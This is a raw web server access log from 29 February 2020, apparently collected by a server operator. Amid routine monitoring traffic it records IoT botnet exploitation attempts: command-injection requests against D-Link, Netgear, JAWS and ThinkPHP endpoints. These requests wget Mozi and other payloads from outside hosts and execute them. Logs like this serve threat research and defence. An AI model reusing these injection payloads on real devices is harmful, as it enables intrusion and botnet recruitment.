212.91.246.72 - - [29/Feb/2020:07:08:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:07:09:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:07:10:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.17.206.199 - - [29/Feb/2020:07:11:38 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [29/Feb/2020:07:11:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:07:12:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.95.86.125 - - [29/Feb/2020:07:12:46 +0100] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 404 310 "-" "-"
212.91.246.72 - - [29/Feb/2020:07:13:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.78.90.209 - - [29/Feb/2020:07:14:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [29/Feb/2020:07:14:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:07:15:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.105.27.14 - - [29/Feb/2020:07:15:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [29/Feb/2020:07:15:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [29/Feb/2020:07:16:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
143.202.221.191 - - [29/Feb/2020:07:16:21 +0100] "POST /ctrlt/DeviceUpgrade_1 HTTP/1.1" 400 329 "-" "-"
183.105.27.14 - - [29/Feb/2020:07:16:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [29/Feb/2020:07:16:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:07:17:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:07:18:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:07:19:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:07:20:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:07:21:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
159.89.176.231 - - [29/Feb/2020:07:22:03 +0100] "GET / HTTP/1.1" 200 1229 "http://www.prokommunal-berlin.de" "Mozilla/5.0 (X11; Datanyze; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36"
159.89.176.231 - - [29/Feb/2020:07:22:14 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; rv:28.0) Gecko/20100101 Firefox/28.0"
212.91.246.72 - - [29/Feb/2020:07:22:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:07:23:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.196.219.138 - - [29/Feb/2020:07:24:21 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [29/Feb/2020:07:24:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:07:25:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:07:26:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:07:27:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:07:28:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.231.205.43 - - [29/Feb/2020:07:29:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [29/Feb/2020:07:29:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.100.92.245 - - [29/Feb/2020:07:30:00 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [29/Feb/2020:07:30:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:07:31:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:07:32:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:07:33:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:07:34:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:07:35:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
75.109.176.200 - - [29/Feb/2020:07:35:48 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://64.227.7.86/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [29/Feb/2020:07:36:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.111.83.174 - - [29/Feb/2020:07:37:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [29/Feb/2020:07:37:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
77.245.162.149 - - [29/Feb/2020:07:37:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
60.48.101.213 - - [29/Feb/2020:07:38:01 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
95.9.172.14 - - [29/Feb/2020:07:38:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [29/Feb/2020:07:38:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:07:39:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.227.198.226 - - [29/Feb/2020:07:39:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [29/Feb/2020:07:40:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:07:41:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:07:42:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:07:43:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:07:44:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:07:45:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:07:46:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:07:47:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:07:48:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:07:49:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:07:50:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:07:51:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:07:52:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.133.75.90 - - [29/Feb/2020:07:53:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [29/Feb/2020:07:53:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:07:54:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:07:55:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.105.156.177 - - [29/Feb/2020:07:55:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [29/Feb/2020:07:56:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:07:57:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:07:58:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:07:59:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:08:00:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:08:01:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:08:02:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:08:03:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:08:04:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.247.75.209 - - [29/Feb/2020:08:05:16 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [29/Feb/2020:08:05:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:08:06:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:08:07:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:08:08:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:08:09:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:08:10:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:08:11:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:08:12:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:08:13:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:08:14:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:08:15:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:08:16:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:08:17:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:08:18:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:08:19:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:08:20:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:08:21:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:08:22:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
164.160.226.122 - - [29/Feb/2020:08:23:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [29/Feb/2020:08:23:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:08:24:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.68.246.198 - - [29/Feb/2020:08:25:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [29/Feb/2020:08:25:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
150.255.12.24 - - [29/Feb/2020:08:26:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://45.148.10.194/mips%20-O%20->%20/tmp/leonn;chmod%20777%20/tmp/leonn;/tmp/leonn%20dlink.mips%27$ HTTP/1.1" 400 329 "-" "botnet/2.0"
212.91.246.72 - - [29/Feb/2020:08:26:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.128.241.71 - - [29/Feb/2020:08:27:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [29/Feb/2020:08:27:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [29/Feb/2020:08:27:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [29/Feb/2020:08:27:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.128.241.71 - - [29/Feb/2020:08:27:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [29/Feb/2020:08:28:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:08:29:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.85.22.45 - - [29/Feb/2020:08:30:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [29/Feb/2020:08:30:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:08:31:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:08:32:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
165.227.39.13 - - [29/Feb/2020:08:32:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36"
165.227.39.13 - - [29/Feb/2020:08:33:00 +0100] "GET /favicon.ico HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36"
212.91.246.72 - - [29/Feb/2020:08:33:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:08:34:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
99.36.251.106 - - [29/Feb/2020:08:34:45 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [29/Feb/2020:08:35:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:08:36:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:08:37:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:08:38:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:08:39:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.220.27.139 - - [29/Feb/2020:08:39:42 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 404 310 "-" "Hello, world"
212.91.246.72 - - [29/Feb/2020:08:40:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:08:41:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:08:42:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.38.182.40 - - [29/Feb/2020:08:43:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [29/Feb/2020:08:43:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:08:44:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:08:45:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
194.60.242.36 - - [29/Feb/2020:08:46:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [29/Feb/2020:08:46:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
60.39.217.207 - - [29/Feb/2020:08:47:00 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [29/Feb/2020:08:47:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:08:48:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:08:49:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:08:50:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
143.255.230.194 - - [29/Feb/2020:08:51:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [29/Feb/2020:08:51:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.7.155.141 - - [29/Feb/2020:08:51:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [29/Feb/2020:08:51:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [29/Feb/2020:08:52:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [29/Feb/2020:08:52:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
